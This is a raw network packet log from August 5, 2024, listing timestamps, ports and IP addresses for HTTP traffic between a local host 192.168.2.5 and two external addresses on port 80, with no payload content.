Aug 5, 2024 11:59:39.614979029 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615029097 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615032911 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615061998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615093946 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615113974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615144014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615176916 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615200996 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615210056 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615242958 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615262032 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615274906 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615309954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615324974 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615341902 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615391016 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615397930 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615447998 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615498066 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615499973 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615530968 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615564108 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615580082 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615597010 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615628958 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615644932 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615664005 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615712881 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615712881 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615746021 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615789890 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615796089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615828037 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615875959 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615880966 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615910053 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615942955 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.615956068 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.615977049 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616024971 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616034031 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616059065 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616107941 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616120100 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616144896 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616177082 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616203070 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616210938 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616244078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616275072 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616278887 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616308928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616329908 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616343021 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616374969 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616389990 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616408110 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616440058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616455078 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616473913 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616528988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616529942 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616580963 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616612911 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616635084 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616664886 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616697073 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616719007 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616729021 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616763115 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616786957 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616805077 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616853952 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616863012 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616887093 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616920948 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616942883 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.616955042 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.616986990 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617002010 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617021084 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617054939 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617080927 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617089033 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617120981 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617146969 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617153883 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617186069 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617209911 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617218018 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617252111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617275953 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617285013 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617335081 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617336988 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617368937 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617400885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617412090 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617438078 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617470026 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617492914 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617502928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617535114 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617558002 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.617568016 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617602110 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.617619991 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.660743952 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.704981089 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705028057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705064058 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705092907 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.705101967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705137014 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705173016 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.705205917 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.705233097 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957518101 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957537889 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957617044 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957628012 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957639933 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957653046 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957664967 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957676888 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957681894 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957681894 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957698107 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957719088 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957748890 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957756042 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957768917 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957777977 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957789898 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957802057 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957815886 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957823992 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957828045 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957843065 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957863092 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957886934 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957911015 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957921982 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957932949 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957943916 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957954884 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957964897 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957968950 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.957978010 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957989931 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.957998991 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958024979 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958179951 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958201885 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958256006 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958281040 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958292961 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958303928 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958312988 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958323956 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958338976 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958368063 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958400965 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958412886 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958424091 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958451033 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958455086 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958467007 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958523035 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958530903 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958542109 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958553076 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958564043 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.958581924 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.958605051 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960192919 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960249901 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960253954 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960383892 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960395098 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960405111 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960443020 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960457087 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960468054 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960474968 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960479975 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960504055 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960515022 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960516930 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960525036 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.960552931 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960577011 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.960700035 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:39.966145039 CEST	80	49762	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:39.967703104 CEST	49762	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:41.163626909 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:41.168571949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:41.168641090 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:41.168756008 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:41.173542976 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.286941051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.286993980 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287091970 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.287188053 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287225008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287257910 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287291050 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287302971 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.287338972 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.287391901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287426949 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287458897 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287492990 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.287508965 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.287544012 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.292306900 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.292340994 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.292373896 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.292404890 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.332551003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.574179888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574239969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574273109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574305058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574340105 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574378014 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.574457884 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.574826002 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574894905 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574928045 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574949980 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.574963093 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.574980021 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.574997902 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575265884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575320005 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.575320959 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575371981 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575376034 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.575408936 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575437069 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.575489998 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915209055 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915352106 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915385008 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915432930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915442944 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915469885 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915491104 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915505886 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915555000 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915585995 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915637016 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915689945 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915693045 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915740967 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915775061 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915807009 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915822983 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.915841103 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.915857077 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.916593075 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916644096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916696072 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916703939 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.916731119 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916740894 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.916764021 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916795969 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.916842937 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:42.917416096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:42.917469978 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258498907 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258568048 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258603096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258652925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258651018 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258708954 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258737087 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258742094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258778095 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258793116 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258810043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258860111 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258888960 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258913040 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258951902 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.258953094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.258989096 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259020090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259052038 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259072065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.259084940 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259099007 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.259124994 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259684086 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.259738922 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259825945 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259856939 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259907007 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259907961 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.259939909 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.259957075 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.259974957 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.260006905 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.260055065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.260588884 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.260637999 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560098886 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560138941 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560172081 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560194969 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560220957 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560255051 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560272932 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560287952 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560318947 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560331106 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560352087 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560384989 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560401917 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560417891 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560451031 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.560476065 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.560950994 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561002016 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.561151028 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561258078 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561290979 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561322927 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:43.561331987 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:43.561356068 CEST	80	49763	27.221.16.149	192.168.2.5
